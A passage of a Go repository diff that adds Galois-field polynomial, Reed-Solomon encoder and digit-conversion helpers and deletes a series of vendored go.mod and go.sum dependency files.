for i := 0; i < size; i++ {
result[i] = int(gp.gf.Multiply(int(gp.Coefficients[i]), int(coeff)))
}
return NewGFPoly(gp.gf, result)
}
func (gp *GFPoly) Multiply(other *GFPoly) *GFPoly {
if gp.Zero() || other.Zero() {
return gp.gf.Zero()
}
aCoeff := gp.Coefficients
aLen := len(aCoeff)
bCoeff := other.Coefficients
bLen := len(bCoeff)
product := make([]int, aLen+bLen-1)
for i := 0; i < aLen; i++ {
ac := int(aCoeff[i])
for j := 0; j < bLen; j++ {
bc := int(bCoeff[j])
product[i+j] = int(gp.gf.AddOrSub(int(product[i+j]), gp.gf.Multiply(ac, bc)))
}
}
return NewGFPoly(gp.gf, product)
}
func (gp *GFPoly) Divide(other *GFPoly) (quotient *GFPoly, remainder *GFPoly) {
quotient = gp.gf.Zero()
remainder = gp
fld := gp.gf
denomLeadTerm := other.GetCoefficient(other.Degree())
inversDenomLeadTerm := fld.Invers(int(denomLeadTerm))
for remainder.Degree() >= other.Degree() && !remainder.Zero() {
degreeDiff := remainder.Degree() - other.Degree()
scale := int(fld.Multiply(int(remainder.GetCoefficient(remainder.Degree())), inversDenomLeadTerm))
term := other.MultByMonominal(degreeDiff, scale)
itQuot := NewMonominalPoly(fld, degreeDiff, scale)
quotient = quotient.AddOrSubstract(itQuot)
remainder = remainder.AddOrSubstract(term)
}
return
}
func NewMonominalPoly(field *GaloisField, degree int, coeff int) *GFPoly {
if coeff == 0 {
return field.Zero()
}
result := make([]int, degree+1)
result[0] = coeff
return NewGFPoly(field, result)
}
func NewGFPoly(field *GaloisField, coefficients []int) *GFPoly {
for len(coefficients) > 1 && coefficients[0] == 0 {
coefficients = coefficients[1:]
}
return &GFPoly{field, coefficients}
}
+44
View File
@@ -0,0 +1,44 @@
package utils
import (
"sync"
)
type ReedSolomonEncoder struct {
gf *GaloisField
polynomes []*GFPoly
m *sync.Mutex
}
func NewReedSolomonEncoder(gf *GaloisField) *ReedSolomonEncoder {
return &ReedSolomonEncoder{
gf, []*GFPoly{NewGFPoly(gf, []int{1})}, new(sync.Mutex),
}
}
func (rs *ReedSolomonEncoder) getPolynomial(degree int) *GFPoly {
rs.m.Lock()
defer rs.m.Unlock()
if degree >= len(rs.polynomes) {
last := rs.polynomes[len(rs.polynomes)-1]
for d := len(rs.polynomes); d <= degree; d++ {
next := last.Multiply(NewGFPoly(rs.gf, []int{1, rs.gf.ALogTbl[d-1+rs.gf.Base]}))
rs.polynomes = append(rs.polynomes, next)
last = next
}
}
return rs.polynomes[degree]
}
func (rs *ReedSolomonEncoder) Encode(data []int, eccCount int) []int {
generator := rs.getPolynomial(eccCount)
info := NewGFPoly(rs.gf, data)
info = info.MultByMonominal(eccCount, 1)
_, remainder := info.Divide(generator)
result := make([]int, eccCount)
numZero := int(eccCount) - len(remainder.Coefficients)
copy(result[numZero:], remainder.Coefficients)
return result
}
+19
View File
@@ -0,0 +1,19 @@
package utils
// RuneToInt converts a rune between '0' and '9' to an integer between 0 and 9
// If the rune is outside of this range -1 is returned.
func RuneToInt(r rune) int {
if r >= '0' && r <= '9' {
return int(r - '0')
}
return -1
}
// IntToRune converts a digit 0 - 9 to the rune '0' - '9'. If the given int is outside
// of this range 'F' is returned!
func IntToRune(i int) rune {
if i >= 0 && i <= 9 {
return rune(i + '0')
}
return 'F'
}
-11
View File
@@ -1,11 +0,0 @@
module github.com/cheggaaa/pb/v3
require (
github.com/VividCortex/ewma v1.1.1
github.com/fatih/color v1.7.0
github.com/mattn/go-colorable v0.1.2
github.com/mattn/go-isatty v0.0.12
github.com/mattn/go-runewidth v0.0.7
)
go 1.12
-21
View File
@@ -1,21 +0,0 @@
github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA=
github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys=
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
github.com/mattn/go-colorable v0.1.2 h1:/bC9yWikZXAL9uJdulbSfyVNIR3n3trXl+v8+1sx8mU=
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-isatty v0.0.8 h1:HLtExJ+uU2HOZ+wI0Tt5DtUDrx8yhUqDcp7fYERX4CE=
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.10 h1:qxFzApOv4WsAL965uUPIsXzAKCZxN2p9UqdhFS4ZW10=
github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84=
github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-runewidth v0.0.7 h1:Ei8KR0497xHyKJPAv59M1dkC+rOZCMBJ+t3fZ+twI54=
github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223 h1:DH4skfRX4EBpamg7iV4ZlCpblAHI6s6TDM39bFZumv8=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191128015809-6d18c012aee9 h1:ZBzSG/7F4eNKz2L3GE9o300RX0Az1Bw5HF7PDraD+qU=
golang.org/x/sys v0.0.0-20191128015809-6d18c012aee9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42 h1:vEOn+mP2zCOVzKckCZy6YsCtDblrpj/w7B9nxGNELpg=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-8
View File
@@ -1,8 +0,0 @@
module github.com/desertbit/closer/v3
go 1.12
require (
github.com/hashicorp/go-multierror v1.0.0
github.com/stretchr/testify v1.3.0
)
-11
View File
@@ -1,11 +0,0 @@
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA=
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/go-multierror v1.0.0 h1:iVjPR7a6H0tWELX5NxNe7bYopibicUzc7uPribsnS6o=
github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
-5
View File
@@ -1,5 +0,0 @@
module github.com/desertbit/go-shlex
go 1.14
require github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568
-2
View File
@@ -1,2 +0,0 @@
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
-22
View File
@@ -1,22 +0,0 @@
module github.com/desertbit/grumble
go 1.12
require (
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 // indirect
github.com/chzyer/logex v1.1.10 // indirect
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/desertbit/closer/v3 v3.1.2
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/readline v1.5.1
github.com/fatih/color v1.10.0
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/hashicorp/go-multierror v1.1.0 // indirect
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c // indirect
github.com/kr/pty v1.1.8 // indirect
golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4 // indirect
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e // indirect
gopkg.in/AlecAivazis/survey.v1 v1.8.5
)
-98
View File
@@ -1,98 +0,0 @@
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8 h1:xzYJEypr/85nBpB11F9br+3HUrpgb+fcm5iADzXXYEw=
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 h1:l2RCK7mjLhjfZRIcCXTVHI34l67IRtKASBjusViLzQ0=
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWsoZXJNW3xEE4JJyHa5Q25/sd8=
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
github.com/creack/pty v1.1.7 h1:6pwm8kMQKCmgUg0ZHTm5+/YvRK0s3THD/28+T6/kk4A=
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/desertbit/closer/v3 v3.0.1 h1:mZORDd9VbXIgH8OrUyKrS+0sdvNwpR47JB5cgnBTc0I=
github.com/desertbit/closer/v3 v3.0.1/go.mod h1:AAC4KRd8DC40nwvV967J/kDFhujMEiuwIKQfN0IDxXw=
github.com/desertbit/closer/v3 v3.1.2 h1:a6+2DmwIcNygW04XXWYq+Qp2X9uIk9QbZCP9//qEkb0=
github.com/desertbit/closer/v3 v3.1.2/go.mod h1:AAC4KRd8DC40nwvV967J/kDFhujMEiuwIKQfN0IDxXw=
github.com/desertbit/columnize v2.1.0+incompatible h1:h55rYmdrWoTj7w9aAnCkxzM3C2Eb8zuFa2W41t0o5j0=
github.com/desertbit/columnize v2.1.0+incompatible/go.mod h1:5kPrzQwKbQ8E5D28nvTVPqIBJyj+8jvJzwt6HXZvXgI=
github.com/desertbit/go-shlex v0.1.0 h1:HapoSxMl/xT59s1Z+RR6ScBuH2H8vr4HcgERVjBTJ8s=
github.com/desertbit/go-shlex v0.1.0/go.mod h1:Qbb+mJNud5AypgHZ81EL8syOGaWlwvAOTqS7XmWI4pQ=
github.com/desertbit/go-shlex v0.1.1 h1:c65HnbgX1QyC6kPL1dMzUpZ4puNUE6ai/eVucWNLNsk=
github.com/desertbit/go-shlex v0.1.1/go.mod h1:Qbb+mJNud5AypgHZ81EL8syOGaWlwvAOTqS7XmWI4pQ=
github.com/desertbit/readline v0.0.0-20171208011716-f6d7a1f6fbf3 h1:PLbrJOpAtk8ros5avAt8am0GJvPuD08FVLV+ffmG0Jo=
github.com/desertbit/readline v0.0.0-20171208011716-f6d7a1f6fbf3/go.mod h1:AayRnEOr0ttSh4kgOlHBBtJufZMMW/1BVCdV5oFs8t0=
github.com/desertbit/readline v1.5.1 h1:/wOIZkWYl1s+IvJm/5bOknfUgs6MhS9svRNZpFM53Os=
github.com/desertbit/readline v1.5.1/go.mod h1:pHQgTsCFs9Cpfh5mlSUFi9Xa5kkL4d8L1Jo4UVWzPw0=
github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys=
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg=
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA=
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I=
github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/go-multierror v1.0.0 h1:iVjPR7a6H0tWELX5NxNe7bYopibicUzc7uPribsnS6o=
github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
github.com/hashicorp/go-multierror v1.1.0 h1:B9UzwGQJehnUY1yNrnwREHc3fGbC2xefo8g4TbElacI=
github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174 h1:WlZsjVhE8Af9IcZDGgJGQpNflI3+MJSBhsgT5PCtzBQ=
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c h1:kp3AxgXgDOmIJFR7bIwqFhwJ2qWar8tEQSE5XXhCfVk=
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
github.com/kr/pty v1.1.1 h1:VkoXIwSboBpnk99O/KFauAEILuNHv5DVFKZMBN/gUgw=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.8 h1:AkaSdXYQOWeaO3neb8EM634ahkXXe3jYbVh/F9lq+GI=
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
github.com/mattn/go-colorable v0.1.2 h1:/bC9yWikZXAL9uJdulbSfyVNIR3n3trXl+v8+1sx8mU=
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
github.com/mattn/go-isatty v0.0.8 h1:HLtExJ+uU2HOZ+wI0Tt5DtUDrx8yhUqDcp7fYERX4CE=
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d/go.mod h1:o96djdrsSGy3AWPyBgZMAGfxZNfgntdJG+11KU4QvbU=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
golang.org/x/crypto v0.0.0-20190123085648-057139ce5d2b h1:Elez2XeF2p9uyVj0yEUDqQ56NFcDtcBNkYP7yv8YbUE=
golang.org/x/crypto v0.0.0-20190123085648-057139ce5d2b/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4 h1:HuIa8hRrWRSrqYzx1qI49NNxhdi2PrY7gxVSq1JjLDc=
golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223 h1:DH4skfRX4EBpamg7iV4ZlCpblAHI6s6TDM39bFZumv8=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190801041406-cbf593c0f2f3 h1:4y9KwBHBgBNwDbtu44R5o1fdOCQUEXhbk/P4A9WmJq0=
golang.org/x/sys v0.0.0-20190801041406-cbf593c0f2f3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634 h1:bNEHhJCnrwMKNMmOx3yAynp5vs5/gRy+XWFtZFu7NBM=
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201101102859-da207088b7d1 h1:a/mKvvZr9Jcc8oKfcmgzyp7OwF73JPWsQLvH1z2Kxck=
golang.org/x/sys v0.0.0-20201101102859-da207088b7d1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e h1:AyodaIpKjppX+cBfTASF2E1US3H2JFBj920Ot3rtDjs=
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
gopkg.in/AlecAivazis/survey.v1 v1.8.5 h1:QoEEmn/d5BbuPIL2qvXwzJdttFFhRQFkaq+tEKb7SMI=
gopkg.in/AlecAivazis/survey.v1 v1.8.5/go.mod h1:iBNOmqKz/NUbZx3bA+4hAGLRC7fSK7tgtVDT4tB22XA=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
-11
View File
@@ -1,11 +0,0 @@
module github.com/desertbit/readline
go 1.12
require (
github.com/chzyer/logex v1.1.10 // indirect
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1
github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d
github.com/stretchr/testify v1.6.1 // indirect
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634
)
-19
View File
@@ -1,19 +0,0 @@
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWsoZXJNW3xEE4JJyHa5Q25/sd8=
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d h1:AREM5mwr4u1ORQBMvzfzBgpsctsbQikCVpvC+tX285E=
github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d/go.mod h1:o96djdrsSGy3AWPyBgZMAGfxZNfgntdJG+11KU4QvbU=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634 h1:bNEHhJCnrwMKNMmOx3yAynp5vs5/gRy+XWFtZFu7NBM=
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
-8
View File
@@ -1,8 +0,0 @@
module github.com/fatih/color
go 1.13
require (
github.com/mattn/go-colorable v0.1.8
github.com/mattn/go-isatty v0.0.12
)
-7
View File
@@ -1,7 +0,0 @@
github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae h1:/WDfKMnPU+m5M4xB+6x4kaepxRw6jWvR5iDRdvjHgy8=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-3
View File
@@ -1,3 +0,0 @@
module github.com/go-sql-driver/mysql
go 1.10
-17
View File
@@ -1,17 +0,0 @@
// Copyright 2014 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
module github.com/google/btree
go 1.12
-1
View File
@@ -1 +0,0 @@
module github.com/google/uuid
-3
View File
@@ -1,3 +0,0 @@
module github.com/gorilla/mux
go 1.12
-25
View File
@@ -1,25 +0,0 @@
module github.com/grpc-ecosystem/go-grpc-middleware
require (
github.com/go-kit/kit v0.9.0
github.com/go-logfmt/logfmt v0.4.0 // indirect
github.com/go-stack/stack v1.8.0 // indirect
github.com/gogo/protobuf v1.2.1
